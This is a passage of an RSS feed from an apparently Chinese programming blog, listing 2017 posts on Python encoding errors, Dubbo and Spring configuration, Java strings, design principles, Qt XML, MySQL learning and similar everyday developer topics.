      <description>‘utf-8’ codec can’t decode byte 0xff in position 0: invalid start byte 觉得有用的话,欢迎一起讨论相互学习~ 今天使用语句&#xA;image_raw_data_jpg = tf.gfile.FastGFile(&#39;../test_images/test_1.jpg&#39;, &#39;r&#39;).read() 读取图片文件的时候遇到了以下问题:&#xA;&#39;utf-8&#39; codec can&#39;t decode byte 0xff in position 0: invalid start byte 原因: 0x92 即 10010010，UTF8 中编码一个字符的第一个字节（start byte）只可能是 0xxxxxxx、110xxxxx、1110xxx、11110xxx……而后面的字节只可能是 10xxxxxx。也就是说 0x92 只能作为后面的字节，却出现在了第一个字节的位置。&#xA;出现这种问题绝大部分情况是因为文件不是 UTF8 编码的（例如，可能是 GBK 编码的），而系统默认采用 UTF8 解码。解决方法是改为对应的解码方式。&#xA;极少数情况是因为文件损坏了或者和一部分非 UTF8 编码混在一起，可以修复文件或采用 replace 等方式解码。&#xA;解决方案 将’r’改为’rb’的形式,即:&#xA;image_raw_data_jpg = tf.gfile.FastGFile(&#39;../test_images/test_1.jpg&#39;, &#39;rb&#39;).read() 参考文献: https://segmentfault.com/q/1010000004268196</description>
    </item>
    <item>
      <title>dubbo的注解配置问题：dubbo的服务端service注解和spring的service、有冲突</title>
      <link>https://bchobby.github.io/posts/e2dc856bc749269eee44363f16e7416f/</link>
      <pubDate>Wed, 13 Sep 2017 13:25:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2dc856bc749269eee44363f16e7416f/</guid>
      <description>最近在学习，dubbo。看了dubbo的xml配置后，表示好麻烦，服务端和消费端都要写一遍：类似下面的配置：（我用的spring 4.1.3.RELEASE 和dubbo2.5.3）&#xA;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns:dubbo=&#34;http://code.alibabatech.com/schema/dubbo&#34; xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd&#34;&amp;gt; &amp;lt;!-- 服务提供方 --&amp;gt; &amp;lt;!-- 第一：服务提供方启名称 计算机要用名称 --&amp;gt; &amp;lt;dubbo:application name=&#34;service-product&#34;/&amp;gt; &amp;lt;!-- 第二：到注册中心注册地址 连接zookeeper --&amp;gt; &amp;lt;!-- &amp;lt;dubbo:registry address=&#34;192.168.200.128:2181,192.168.200.129:2181,192.168.200.130:2181&#34; protocol=&#34;zookeeper&#34;/&amp;gt; --&amp;gt; &amp;lt;!--&amp;lt;dubbo:registry address=&#34;192.168.72.130:2181&#34; protocol=&#34;zookeeper&#34;/&amp;gt;--&amp;gt; &amp;lt;!--开发时优化，让消费者直接连接服务提供方。 生产环境要放开这段用上面的--&amp;gt; &amp;lt;dubbo:registry address=&#34;N/A&#34;/&amp;gt; &amp;lt;!-- 第三：自定义端口号 默认端口是20880--&amp;gt; &amp;lt;dubbo:protocol host=&#34;127.0.0.1&#34; port=&#34;20880&#34;/&amp;gt; &amp;lt;!-- 第四：指定暴露的接口 --&amp;gt; &amp;lt;dubbo:service interface=&#34;cn.mytest.core.service.TestTbService&#34; ref=&#34;testTbService&#34;/&amp;gt; &amp;lt;/beans&amp;gt; &amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns:dubbo=&#34;http://code.alibabatech.com/schema/dubbo&#34; xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd&#34;&amp;gt; &amp;lt;!-- 服务消息方 --&amp;gt; &amp;lt;!-- 第一：服务消费方启名称 计算机要用名称 --&amp;gt; &amp;lt;dubbo:application name=&#34;mytest-console&#34;/&amp;gt; &amp;lt;!-- 第二：到注册中心注册地址 连接zookeeper --&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>java中String的两种初始化方法</title>
      <link>https://bchobby.github.io/posts/3fbc334f482f4642fcdc001626e4a1ac/</link>
      <pubDate>Wed, 13 Sep 2017 00:27:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fbc334f482f4642fcdc001626e4a1ac/</guid>
      <description>字符串可能是任何程序语言中都会出现的对象，java中创建并初始化一个String对象，最常见的方式有两种： String str=new String(“XXX”); String str=”XXX”; 二者看似相同，其实有很大的差别。 前者是java中标准的对象创建方式，其创建的对象将直接放置到堆中，每调用一次就会创建一个新的对象；后者则会在栈中创建一个对象引用变量str，然后 查看字符串池中是否存在”XXX”，如果没有，则将”XXX”存放字符串池，并令引用变量str指向它；如果已经有”XXX”，则直接令str指向它。这样充分利用 了栈的数据共享优点，当然也可能是一个陷阱，对象很有可能没有创建，只不过指向一个先前已经创建的对象；而new()方法则能保证每次都创建一个新的对 象。 下述代码展示了二者的不同： Java代码 1. public class Main { 2. 3. /** *//** 4. * @param args the command line arguments 5. */ 6. public static void main(String[] args) { 7. String strA = “abc”; 8. String strB = “abc”; 9. String strAA = new String(“abc”); 10. String strBB = new String(“abc”); 11. System.out.println(strA == strB); 12. System.out.println(strAA == strBB); 13.</description>
    </item>
    <item>
      <title>面向对象7大设计原则</title>
      <link>https://bchobby.github.io/posts/986c3469533a2f1827a65a1aea825708/</link>
      <pubDate>Mon, 11 Sep 2017 10:21:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/986c3469533a2f1827a65a1aea825708/</guid>
      <description>NO.1 单一职责原则（Single Responsibility Principle） 1. 定义：一个对象应该只包含单一的职责，并且该职责被完整地封装在一个类中。 2. 单一职责是实现高内聚，低耦合的指导方针&#xA;NO.2 开闭原则（Open-Closed Principle） 1. 定义：一个软件实体应该对扩展开放，对修改关闭。即一个模块在不修改源代码的前提下被扩展。 2. 开闭原则是可复用设计的第一块基石，是最重要的面向对象设计原则。&#xA;NO.3 里氏代换原则（Liskov Substitution Principle） 1. 定义：所有能够引用基类的地方必须能透明的使用其子类对象 2. 里氏代换是实现开闭原则的重要方式之一，由于使用基类对象的地方都可以使用子类对象，因此在程序中尽量使用基类类型来对对象进行定义，而在运行时再确定其子类类型，用子类对象替换父类对象 3. 里氏代换注意问题： ● 子类的所有方法必须在父类中声明，或子类必须实现父类中声明的所有方法 ● 尽量把父类设计为抽象类或接口，在声明实例时，以抽象层进行声明，运行时由子类负责实例化 ● 在编译阶段，java编译器会检查程序是否符合里氏代换原则，这只是一个与实现无关，纯语法意义上的检查&#xA;NO.4 依赖倒转原则（Dependence Inversion Principle） 1. 定义：对接口编程，而非对实现编程 2. 代码要依赖于抽象层，而不要依赖于具体的实现层，针对接口、抽象类进行编程，而不要针对具体的实现类编程，将具体类放在配置文件中 3. 类之间的耦合关系： ● 零耦合关系：两个类之间没有任何耦合关系 ● 具体耦合关系：两个具体类之间，由一个类对另一个具体类实例的直接引用 ● 抽象耦合关系：两个类之间发生耦合关系，但至少有一个类为抽象的&#xA;NO.5 接口隔离原则（Interface Segregation Principle） 1. 定义：客户端不应依赖那些他不需要的接口，即：一旦一个接口太大，则需要将它分割成一些更细小的接口，使用该接口的客户端仅需知道与之相关的方法即可。 2. 使用多个专门的接口，而不使用单一的总接口&#xA;NO.6 合成复用原则（Composite Reuse Principle） 1. 定义：尽量使用对象组合。而不是继承来达到复用目的 2. 通过继承来实现复用称为“白箱”复用 通过组合/聚合关系复用称为“黑箱”复用&#xA;NO.7 迪米特法则（Low of Demeter） 1. 多种定义： ● 不要和“陌生人”说话 ● 只与你的直接朋友通信 ● 每一个软件单位对其他的单位都只有最少的知识，而且局限于那些与本单位密切相关的软件单位 2.</description>
    </item>
    <item>
      <title>Qt的Xml操作QDomDocument</title>
      <link>https://bchobby.github.io/posts/d4602021af92a8ee29cf6316fa20615e/</link>
      <pubDate>Mon, 11 Sep 2017 09:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4602021af92a8ee29cf6316fa20615e/</guid>
      <description>Qt的Xml操作QDomDocument Qt对于Xml的支持是很好的，一些我们需要的操作应有尽有，下面简单介绍一下怎样使用。主要有以下几点使用：&#xA;写xml到文件读xml添加节点到xml删除xml中某节点信息修改xml中某节点信息 准备工作 .pro加入QT += xml需要include QDomDocument QTextStream QFile三个头文件 WriteXml 直接上代码&#xA;void writeXml() { QDomDocument doc; QDomProcessingInstruction xmlInstruction = doc.createProcessingInstruction(&#34;xml&#34;, &#34;version=\&#34;1.0\&#34; encoding=\&#34;UTF-8\&#34; standalone=\&#34;yes\&#34;&#34;); QDomComment comment = doc.createComment(QString::fromLocal8Bit(&#34;离开是为了更好的归来&#34;)); QDomProcessingInstruction styleInstruction = doc.createProcessingInstruction(&#34;xml-stylesheet&#34;, &#34;type=\&#34;text/css\&#34; href=\&#34;style.css\&#34;&#34;); doc.appendChild(xmlInstruction); // 开始文档（XML 声明） doc.appendChild(comment); // 注释 doc.appendChild(styleInstruction); // 处理指令 // 根元素 &amp;lt;Blogs&amp;gt; QDomElement root = doc.createElement(&#34;Books&#34;); root.setAttribute(&#34;Version&#34;, &#34;1.0&#34;); // 属性 doc.appendChild(root); // 元素 &amp;lt;Blog&amp;gt; QDomElement child = doc.createElement(&#34;Book&#34;); root.appendChild(child); // 元素 &amp;lt;作者&amp;gt;、&amp;lt;时间&amp;gt;、&amp;lt;个人说明&amp;gt; QDomElement author = doc.</description>
    </item>
    <item>
      <title>【Shell】shell执行linux命令</title>
      <link>https://bchobby.github.io/posts/5f070e6864e51de0c9e83a34853a4640/</link>
      <pubDate>Sat, 09 Sep 2017 10:58:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f070e6864e51de0c9e83a34853a4640/</guid>
      <description> 两种方式 执行linux命令，将执行命令返回的值，赋给shell中的变量第一种 data=`command` 第二种 data=$(command) 其他 开头 必须以 #!/bin/sh 开头#![Args]，Args表示执行该文件的程序chmod +x filename，使可通过 ./filename 执行 注释 # 注释内容 变量 所有变量有字符串组成不需要声明赋值 var1=&#34;hello&#34; 打印 echo &#34;A is&#34; echo $a 花括号{} num = 2 echo &#34;this is ${num}nd&#34; Linux系列 Linux下autotools的使用线程系统调用阻塞是否导致进程阻塞的问题Ubuntu查看线程Linux打开当前路径图形化窗口valgrind小例Linux文件锁flockWindows远程桌面连接ubuntuLinux升级HeaderLinux下动态库so查找与函数列表查找项目中包含某关键字的文件Linux清屏命令Ubuntu unity7 stop/killedLinux复制远程文件或目录Ubuntu 使用telnet </description>
    </item>
    <item>
      <title>电脑显示屏突然一半变色并且抖动</title>
      <link>https://bchobby.github.io/posts/6b0759fdd36d38a8177eb9b50890b019/</link>
      <pubDate>Fri, 08 Sep 2017 17:16:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b0759fdd36d38a8177eb9b50890b019/</guid>
      <description>刚打开电脑的时候还是正常的，当打开浏览器连接网络的时候，屏幕突然有一半变了颜色，并且在一直抖动，起初还以为是浏览器的问题，结果关闭浏览器之后，也还是会有这样的问题，重启了几遍之后也依然是没有作用。&#xA;后来了解到，发生这种问题的原因可能是：1）显卡坏了 2）屏线坏了&#xA;如果不是专业人士，还是送去专业维修地点维修比较妥当。</description>
    </item>
    <item>
      <title>关于Cstring::GetLength()</title>
      <link>https://bchobby.github.io/posts/fafceacb89b436090de3a096dd580233/</link>
      <pubDate>Thu, 07 Sep 2017 16:51:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fafceacb89b436090de3a096dd580233/</guid>
      <description>原文地址：http://www.cppblog.com/xunbu7/archive/2012/12/03/195930.html&#xA;strText.GetLength(); 返回的是字符个数(不包括结尾的空字符)， 要视乎你编译是UNICODE还是MBCS(多字符集)。CString 本身就是TCHAR的封装，所以你定义了UNICODE那么他就占两个字节，否则就是一个字节。 我通常使用下面代码来取得字符串的字节数:&#xA;int nBytes = (csSomeCString.GetLength() + 1) * sizeof(TCHAR);&#xA;注意:这字节数的长度还包括文件结束符.&#xA;关于getlength()获取字符串的长度问题 下面几种是不一样的&#xA;只是一些实验，每个人都可以自己做。尽管简单，但是不做实验还真是无法知道，从而实际应用的时候因此出错也说不定哦。现把我的实验结果罗列在此，仅供其他网友参考：&#xA;在MBCS设置下：&#xA;1. 以&#39;\0&#39;为结尾。故_T(&#34;ab\0cd\n&#34;)长度为2，_T(&#34;abcd\n&#34;)长度为5。&#xA;2. 一个英文字母占1字节，一个其他文字占2字节，故_T(&#34;abcd汉字&#34;)长度为8。_T(&#34;セβΔ尒ab汉字cd&#34;)长度为16。&#xA;UNICODE设置下：&#xA;1. 每个字符占2字节，但是GetLength返回的是纯字符数，故_T(&#34;セβΔ尒ab汉字cd&#34;)长度为10。&#xA;2. &#39;\0&#39;仍然是结尾，所以_T(&#34;セβ\0Δ尒ab汉字cd&#34;)的长度为2。&#xA;另外W2A是把字符串从UNICODE转化到MBCS而不是ASCII，下面的代码可以证明：&#xA;CString str=_T(&#34;セβΔ尒ab汉字cd&#34;);&#xA;USES_CONVERSION;&#xA;char *pValueTemp=W2A((LPCTSTR)str);&#xA;nLength=strlen(pValueTemp);&#xA;此时的nLength为16，说明pValueTemp为MBCS串。</description>
    </item>
    <item>
      <title>PDF内容替换--Python实现</title>
      <link>https://bchobby.github.io/posts/a35f164924fe8a2547b9dec4228b223f/</link>
      <pubDate>Thu, 07 Sep 2017 12:24:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a35f164924fe8a2547b9dec4228b223f/</guid>
      <description>摘要：这篇文章介绍了如何使用Python3把PDF文件转换为word文档并替换word文档中的文字内容，这里替换的规则是中英转换或者其它自定义规则。&#xA;作者博客地址：http://www.yooongchun.cn/&#xA;pdf转换为word pdf文件由于很难编辑，因而想要通过编程修改内容有些困难【不是不可能，只是代价比较大，特别是要保留原pdf格式的话】，故而这里介绍一个替换pdf文件文字内容的间接解决方案，即：把pdf文件转换为word然后再编程替换word的文字内容，当然替换完成后想把word转为pdf就简单的多了&#xA;本文这里转换pdf文件介绍四种方法：&#xA;使用第三方工具使用pdfminer3k 解析pdf然后再把内容写入到word中使用第三方SDK使用LibreOffice 开发者库 这里简单说明下几种方法的优劣：&#xA;使用第三方工具的话，有这样两种情况： Online版本，大多可以免费使用，但是转换麻烦，不能编程操作，需要手动实现&#xA;软件版本，大多可以批量转换，但是大多转换有限制，需付费才能无限制使用，且不能编程处理&#xA;如果上面的情况符合你的实际需要，那再好不过！当然，不能符合的话，接着往下看&#xA;使用pdfminer3k解析pdf文件 对于纯文本内容且没有着严格的格式要求的话，你可以使用这个工具进行转换，详细转换请参考这篇文章：使用Python抽取PDF文件内容，包括文本、图像、线条等对象 使用第三方SDK 这个是一个比较好的选择，然而，SDK大多收费！！！这些SDK一般提供完善的开发者API接口，你可以方便而又简单的调用，楼主这里介绍一个叫做easyConvertPDF，他们提供一个pdf2word.py 的API，使用十分简单，转换效果页令人满意，只是，License太贵了，买不起，当然你可以下载试用&#xA;使用LibreOffice 开发者库 这个是Micro Office 支持的 Office 开发者库，里面可以实现PDF转换为Word，只是楼主在使用时一致没测试成功，下面给出一段使用代码，你需要先安装LibreOffice 才行&#xA;import os import subprocess for top, dirs, files in os.walk(&#39;/my/pdf/folder&#39;): for filename in files: if filename.endswith(&#39;.pdf&#39;): abspath = os.path.join(top, filename) subprocess.call(&#39;lowriter --invisible --convert-to doc &#34;{}&#34;&#39; .format(abspath), shell=True) 从上面的四种方法中选择一种适合你的方法！&#xA;替换word文字内容 替换word使用的是win32com 的包，使用这个包你需要先安装pywin32&#xA;pip install pywin32 安装完成后可能会出现如下错误&#xA;ImportError: DLL load failed: win32api, sys, os 这时你可以通过如下方式解决</description>
    </item>
    <item>
      <title>大量 D3.js 示例</title>
      <link>https://bchobby.github.io/posts/f8d649819c771a57b3baeeb974125d32/</link>
      <pubDate>Thu, 07 Sep 2017 10:38:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8d649819c771a57b3baeeb974125d32/</guid>
      <description>113th U.S. Congressional Districts20 years of the english premier football league20000 points in random motion2012 NFL Conference Champs2012-2013 NBA Salary Breakdown25 great circles2D Matrix Decomposition300 Outings3D bar chart with D3.js and x3dom3D scatter plot using d3 and x3dom401k Fees Vary Widely for Similar Companies512 Paths to the White House7th Grade Graphs with D39-Patch Quilt GeneratorA Bar ChartA Bar Chart, Part 1A Bar Chart, Part 2A Chicago Divided by KillingsA Christmas CarolA CoffeeScript console for d3.</description>
    </item>
    <item>
      <title>开发工程师（非MySqlDBA）如何系统学习MySql</title>
      <link>https://bchobby.github.io/posts/8f13a1bdfd1bd2ef5e6054c216ffb657/</link>
      <pubDate>Wed, 06 Sep 2017 12:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f13a1bdfd1bd2ef5e6054c216ffb657/</guid>
      <description> 1.入门级《MySql必知必会》 书中从介绍简单的数据检索开始，逐步深入一些复杂的内容，包括联结的使用、子查询、正则表达式和基于全文本的搜索、存储过程、游标、触发器、表约束，等等。其实入门阶段，主要把建库，建表，添加字段，修改字段，删除字段，约束，联表，子查询等等，其他的，如 存储过程、游标、触发器等等了解一下就好了 2.进阶篇《大话数据结构》 如果有时间就好好看看这本书，如果没时间，就把第6章，第8章好好看看，为什么要看数据结构？原因很简单，mysql索引是用B+树实现的，也就是多路查找树。所以学习mysql必须要了解一下简单的数据结构，如果有时间可以深入学习，如果没时间，就把树这块好好看看就行了 3.进阶篇《高性能MySql》 圣经中的圣经，经典中的经典，要一定的基础，这本书我就不过多介绍了，必看书籍。 4.进阶篇《MySQL技术内幕InnoDB存储引擎(第2版)》 现在mysql的默认存储引擎是InnoDB，足以说明它的重要性，所以这本书也是经典书籍，这本书也是需要基础的，不适合新手，而且需要一定数据结构和算法基础，但是如果你老老实实看过前面三本书了，相信这本书也不会有太大问题。 这四本书如果你老老实实看完，多实践，多运用，相信你的mysql方面的知识应付日常开发就足够了，至于想向更高方向发展的，本人也在学习中，希望大家一起来对学习mysql提出更好的建议。 </description>
    </item>
    <item>
      <title>ajax中的参数为一个对象</title>
      <link>https://bchobby.github.io/posts/4822814c76a7883d662d3c8789fd764f/</link>
      <pubDate>Tue, 05 Sep 2017 17:19:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4822814c76a7883d662d3c8789fd764f/</guid>
      <description> var user ={ username : $(&#34;#username&#34;).val(), password : $(&#34;#password&#34;).val() } $.ajax({ type:&#34;post&#34;, url:&#34;http://localhost:8080/GD/LoginAction_execute.action&#34;, data:user, dataType:&#34;text&#34;, success:function (data) { alert(&#34;登录成功&#34;); } }) </description>
    </item>
    <item>
      <title>Python爬虫实战(一)：爬取豆瓣电影top250排名</title>
      <link>https://bchobby.github.io/posts/79fd5bf0bd1be37516422098142ff44e/</link>
      <pubDate>Mon, 04 Sep 2017 12:34:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79fd5bf0bd1be37516422098142ff44e/</guid>
      <description>先上代码&#xA;#coding=utf-8 import re import urllib.request def getHtml(url): page = urllib.request.urlopen(url) html = page.read() html = html.decode(&#39;utf-8&#39;) return html def getItem(html): reg = re.compile(r&#39;.*?&amp;lt;span class=&#34;title&#34;&amp;gt;(.*?)&amp;lt;/span&amp;gt;.*?&amp;lt;p class=&#34;&#34;&amp;gt;.*?(\d+).*?&amp;lt;/p&amp;gt;.*?&amp;lt;span class=&#34;rating_num&#34; property=&#34;v:average&#34;&amp;gt;(.*?)&amp;lt;/span&amp;gt;.*?&amp;lt;span&amp;gt;(\d+)人评价&#39;,re.S) items = re.findall(reg,html) global index for index,item in enumerate(items,index+1): print (index,item) if __name__==&#39;__main__&#39;: index = 0 for i in range(0,226,25): url = &#34;https://movie.douban.com/top250?start=&#34; url += str(i) + &#34;&amp;amp;filter=&#34; html = getHtml(url) getItem(html) print (&#34;\nOK!All OVER!&#34;) #关于正则表达式的一些说明&#xA;#&amp;lt;span class=&#34;title&#34;&amp;gt;(.*?)&amp;lt;/span&amp;gt; 获取电影名字&#xA;#&amp;lt;p class=&#34;&#34;&amp;gt;.*?(\d+) 获取电影上映年份</description>
    </item>
    <item>
      <title>MySQL DBA的修炼与未来，看看老司机们怎么说？</title>
      <link>https://bchobby.github.io/posts/7894bd1c622fd19227599296cca4f8a1/</link>
      <pubDate>Mon, 04 Sep 2017 10:02:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7894bd1c622fd19227599296cca4f8a1/</guid>
      <description>随着MySQL地位爆炸式的提升， MySQL DBA的市场缺口日益剧增，优秀的MySQL DBA正在成为各个互联网公司抢手的人才。然而，需求来了，问题也来了，如何快人一步提高自身技能，让自己在日益激烈的技术挑战中不断增值、脱颖而出？ 今天，我们将锁定MySQL数据库，通过韩锋、虢国飞、杨奇龙、杨建荣、张青林、李辉、贺春暘、李季鹏等8位MySQL专家的经验之谈，为想从事MySQL DBA的同学们答疑解惑，指明一条修炼的路子。&#xA;目录大纲 认真读完本文，你可以了解到：&#xA;一、选择篇&#xA;1、MySQL的流行原因及从业前景&#xA;2、MySQL DBA的薪资缘何普遍高于Oracle DBA&#xA;3、个人如何完成Oracle向MySQL的转型？&#xA;二、学习篇&#xA;1、从初级到高级的MySQL DBA学习路线及学习资料推荐&#xA;2、源码是否为高级MySQL DBA的必备技能？&#xA;3、MySQL不同分支的选择讨论&#xA;4、MySQL认证考试的含金量&#xA;三、趋势篇&#xA;1、随着功能的不断完善，MySQL还会是“小而美”的代表吗？&#xA;2、MySQL目前还缺乏哪方面的能力，是否足够成熟？&#xA;3、如何看待数据库中间层与数据库的关系？&#xA;4、传统运维逐步萎缩下，DBA应选择什么方向发展？&#xA;四、未来篇&#xA;1、数据库云化会对传统DBA带来什么样的冲击？&#xA;2、如何看待分布式数据库的未来前景？&#xA;3、越来越多的DBA正在或将从事DevOps类工作，你的看法是？&#xA;选择篇 Q1：你认为MySQL流行的主要原因是什么？从长远角度来看，从业前景如何？&#xA;1、流行原因&#xA;虢国飞：综合来看，MySQL的流行是偶然中的必然。原因主要有以下三点： 免费：传统数据库昂贵的license费用是很多企业一块心病，MySQL社区版已经能满足大部分用户的需求，而且是免费的，自然在企业内部推广时不会遇到阻力（老板们肯定支持）；&#xA;开源：开源的好处是只要你想，你可以深入到代码级别来了解数据库的运作原理（甚至可以改造它），这个远胜于传统黑盒数据库只是简单输出一些log或者白皮书来让人猜测运作情况，开源能让DBA能知其然并知其所以然，而且开源社区还有丰富的工具，给DBA在维护上面提供了强大的支持。 DBA能在社区快速找到自己需求的东西，组合成自己的工具箱，所以社区工具的丰富也弥补了产品本身的缺陷；&#xA;简便：这一点使得MySQL部署简单，新手学习门槛低、上手快（当然要真正掌握好还是需要大量学习的），不要花费太大的精力就能快速搭建起一套高可用的集群来，而不像Oracle数据库那样，有很多配套东西需要了解，没有几年的学习很难掌握，对于新手来讲都会觉得挺难的，所以MySQL能在DBA群体（甚至包括开发人员）中快速地普及。&#xA;2、就业前景&#xA;李辉：目前来看，MySQL DBA的日子还是很滋润的，在可预见的3-5年内，MySQL在互联网行业的地位仍无法取代，对DBA的需求量仍然很大，特别是中高级DBA。但从长远角度来看，从业人员也要多涉猎其它关系型数据库以及NoSQL、Devops、云计算等技术，现代社会唯一不变的就是变化，不断学习、拥抱变化才能保证自己不被未来社会淘汰。&#xA;Q2：如何看待当前MySQL DBA的薪资普遍高于Oracle DBA的现象？如果想从事DBA，选哪个数据库更好？&#xA;1、MySQL DBA高工资的原因&#xA;杨建荣：因为是和Oracle来对比，可以分为几个方面来看：&#xA;首先物以稀为贵，MySQL DBA相对Oracle DBA来说要少一些，随着现在互联网行业的发展，这个需求还是会持续增长；&#xA;第二还是物以稀为贵，任何工种，高级职位都是稀缺的，如果你能够成为行业内的20%的人，无论你是从事哪种数据库，都会混得还不错。&#xA;第三还是物以稀为贵，什么事物的发展都有一个成熟度曲线，水涨船高之后，留在你手里的是真技能还是花拳绣腿，数据库的功能会越来越丰富，你的技能也要升级，不升级的话，用哪个数据库你都会很吃力。&#xA;杨奇龙：对于薪资高这点，我觉得要从两方面看：&#xA;MySQL DBA和Oracle DBA 的雇主行业不一样，MySQL DBA 多属于互联网等新兴企业，大多数是资本聚集，而Oracle DBA 则从事于传统或者部分大型企事业单位。两种企业的薪资平均水平本就有差距。&#xA;从技能要求上，MySQL在功能上比Oracle “弱”或者说不完善，需要DBA具有更高的技术掌控能力做HA、备份、恢复、校验等。Oracle 则提供了比较完备的功能。&#xA;2、从事DBA岗位，选MySQL还是Oracle？&#xA;杨建荣：有句话说，选择的利剑属于在于能够挥舞它的人，根据工作需要，自己的喜好去选择就可以，如果只是本着钱途是不推荐的。如果非要纠结到底是哪一个，其实也可以换个角度，如果两个都学，是不是这个问题就不是问题了。&#xA;杨奇龙：我的想法比较实际。行行出状元，不管是MySQL DBA 还是Oracle DBA都有比较成功的人士，建议是看各自的兴趣和爱好，以及自己想进的公司的招聘需求。MySQL 和Oracle 并不矛盾，我认识的相当多的人，两种数据库都能维护得非常好，比如大牛楼方鑫，Oracle 工具开发以及MySQL 内核开发都有非常出色的成果。</description>
    </item>
    <item>
      <title>AOP中通知(advice)、切点（pointcut）和连接点（join point）的概念</title>
      <link>https://bchobby.github.io/posts/f9c03b373c61a818fc58933910bcd9d4/</link>
      <pubDate>Fri, 01 Sep 2017 09:41:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9c03b373c61a818fc58933910bcd9d4/</guid>
      <description>借助Spring框架的帮助，业务模块被合理的纵向分割，彼此之间互相独立。&#xA;而将这些纵向柱形的业务模块共同的，重复的部分横向切分放大，就称之为切面&#xA;在AOP中，描述切面的术语有通知（advice），切点（pointcut），连接点（join point）。&#xA;通知（advice）：&#xA;它用于描述切面的目标 即切面必须要完成的工作。通知定义了切面是什么以及何时使用。&#xA;SpringAOP可以应用5种类型的通知：&#xA;1.前置通知（Before）：在目标方法被调用之前调用通知功能。&#xA;2.后置通知（After）：在目标方法完成之后调用通知，此时不会关心方法的输出是什么。&#xA;3.返回通知（After-returning）：在目标方法成功执行之后调用通知。&#xA;4.异常通知（After-throwing）：在目标方法抛出异常后调用通知。&#xA;5.环绕通知（Around）：通知包裹了被通知的方法，在被通知的方法调用之前和调用之后执行自定义的行为。&#xA;连接点（join point）&#xA;是在应用执行过程中能够插入切面的一个点。这个点可以是调用方法时、抛出异常时、甚至修改一个字段时。切面代码可以利用这些点插入到应用的正常流程之中，并添加新的行为。&#xA;切点（pointcut）&#xA;一个切面并不需要通知应用的所有连接点。切点有助于缩小切面所通知的连接点范围。切点的定义会匹配通知所要织入的一个或多个连接点。我们通常使用明确的类和方法名称，或是利用正则表达式定义所匹配的类和方法名称来指定这些切点。稍后会介绍切入点表达式。另外，有些AOP框架是允许我们创建动态的切点，可以根据运行时的决策（比如方法的参数值）来决定是否应用通知。</description>
    </item>
    <item>
      <title>SPI专题（二）——STM32驱动FLASH(W25Q64)</title>
      <link>https://bchobby.github.io/posts/2c0168d0cc70d08f36f47a56a7c1f8b9/</link>
      <pubDate>Thu, 31 Aug 2017 22:18:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c0168d0cc70d08f36f47a56a7c1f8b9/</guid>
      <description>前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;github：my github&#xA;注：博客所涉及的关于 stm32 的代码，均在仓库【stm32f013_study】下，包括底层驱动和应用测试代码。&#xA;本文设计的文件包含：&#xA;（1）hardware_spi.c：硬件 SPI 驱动实现&#xA;（2）drvsfspi.c：软件模拟 SPI 实现代码&#xA;（3）drvexflash.c：SPI FLASH 操作部分代码&#xA;（4）hal_spi.c：SPI 软件、硬件方式封装统一接口&#xA;（5）头文件：&#xA;hardware_spi.h ：硬件 SPI 相关&#xA;drvsfspi.h ：软件模拟 SPI 相关&#xA;drvexflash.hSPI FLASH 相关&#xA;hal_spi.h：软件、硬件 SPI 接口封装&#xA;1. 硬件连接 W25Q64 将 8M 的容量分为 128 个块（Block），每个块大小为 64K 字节，每个块又分为 16个扇区（Sector），每个扇区 4K 个字节。&#xA;W25Q64 的**最少擦除单位为一个扇区，也就是每次必须擦除 4K 个字节。**操作需要给 W25Q64 开辟一个至少 4K 的缓存区，对 SRAM 要求比较高，要求芯片必须有 4K 以上 SRAM 才能很好的操作。&#xA;W25Q64 的擦写周期多达 10W 次，具有 20 年的数据保存期限，支持电压为 2.7~3.6V，W25Q64 支持标准的 SPI，还支持双输出/四输出的 SPI，最大 SPI 时钟可以到 80Mhz（双输出时相当于 160Mhz，四输出时相当于 320M）。</description>
    </item>
    <item>
      <title>DBSCAN(基于高密度聚类的)算法</title>
      <link>https://bchobby.github.io/posts/66b98c29d2f69499bad889f0eaae8061/</link>
      <pubDate>Thu, 31 Aug 2017 11:21:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66b98c29d2f69499bad889f0eaae8061/</guid>
